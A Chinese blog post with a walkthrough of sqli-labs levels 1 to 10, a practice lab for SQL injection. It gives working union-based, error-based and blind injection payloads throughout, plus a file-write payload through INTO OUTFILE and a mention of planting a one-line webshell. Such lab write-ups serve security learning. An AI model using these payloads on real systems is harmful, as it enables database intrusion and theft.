2019-05-14

2019-05-14  本文已影响0人  glotozz

sqli-labs(1-10)

-- (这里有一个空格,--空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用--+代替-- ,原因是+在URL被URL编码后会变成空格。

第一关

1、尝试    id=1 and 1=1    和    id=1 and 1=2

发现都没有出现错误,应该是字符型注入

2、尝试    id=1'    报错

尝试    id=1' --+    正常

3、开始测字段    id=1' order by 4 --+

说明字段数为3

4、可以union联合注入

id=0' union select 1,2,3 --+    回显处为2,3

id=0' union select 1,database(),3 --+    得到数据库名为security

id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+    得到emails,referers,uagents,users

以此类推

第二关

1、尝试    id=1 and 1=1    和 id=1 and 1=2

发现在    id=1 and 1=2时    页面无回显,说明是数字型注入

2、尝试    id=1--+    正常

3、测字段    id=1 order by 4 --+

字段数为为3

4、可以union联合注入

同第一关


第三关

1、尝试id=1 and 1=1和 id=1 and 1=2

发现都没有出现错误,应该是字符型注入

2、尝试    id=1'    报错

说明构造变成    '1'') LIMIT 0,1    ,其中 1' 是我们传入的,所以原语句为

id=('+var+') LIMIT 0,1

尝试    id=1') --+   正常

一开始犯糊涂以为是双引号闭合,因为测试 id=1" --+正常,但是id=1" order by 4--+回显不变,因为1" order by 4--+ 整个被转为数字时会变为 1

3、开始测字段 id=1') order by 4 --+

4、同第一关

第四关

和第三关类似,把单引号改为双引号即可

第五关

id=1时回显为这个,目测是盲注或者报错注入

1、先检查有没有报错。

尝试    id=1'    出现报错,那么这题就用报错注入把,并且可以说明是字符型注入,单引号闭合

2、构造    id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+   得到    security

3、构造    id=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+    得到    emails,referers,uagents,users

其中在 select database() 语句外要加上一对()

类似的报错注入还有

id=1'and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

id=1'and (select 1 from (select count(*),concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

等等


第六关

和第五关类似,把单引号改为双引号即可

第七关

1、尝试id=1 and 1=1和 id=1 and 1=2

回显都如下,目测盲注或者报错注入

2、尝试    id=1'    ,得到如下报错,说明不能用报错注入,猜测是字符型注入,单引号闭合

3、目前正常回显只有一个,所以考虑

时间盲注

构造    id=1' and sleep(5) --+    还是报错

再次尝试    id=1' and sleep(5) and '1'='1    成功,发现页面出现延时

写个脚本

布尔盲注

构造    id=1' and 1 and '1'='1

出现

构造    id=1' and 0 and '1'='1

出现

写个脚本

方法二:使用file权限向服务器写入文件

关卡提示我们使用file权限向服务器写入文件,这里的))是查看源代码才闭合的。。

构造    id=1')) union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\1.php" --+

发现不行,在navcat中调试出现

需要修改mysql的配置文件,

先通过    show variables like '%secure%';    查看secure_file_priv的值,为NULL

在 mysql.ini 文件中添加    secure-file-priv=""    即可

文件导入成功,可以传入一句话木马再用菜刀连

源码    $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

因此使用注释会出错,而使用    '1'='1    可以闭合,会形成

SELECT * FROM users WHERE id=(('1' and sleep(1) and '1'='1')) LIMIT 0,1;

总结:使用file权限向服务器写入文件的攻击性高,但适用性不高。。。权限以及闭合方式较麻烦,因为使用了union

第八关

1、构造    id=1    出现

2、构造    id=1'    回显为空,无法报错注入

3、目测是盲注,bool盲注测试

构造    id=1' and 1 --+

构造    id=1' and 0 --+    回显为空

脚本参考第七关

第九关

1、构造    id=1    出现

2、构造    id=1'    出现

3、构造    id=1' and 0 --+

4、直接构造    id=1' and sleep(5) --+    出现页面延时

时间盲注,脚本参考第七关

第十关

和第九关类似,把单引号改为双引号即可

上一篇 下一篇

猜你喜欢

热点阅读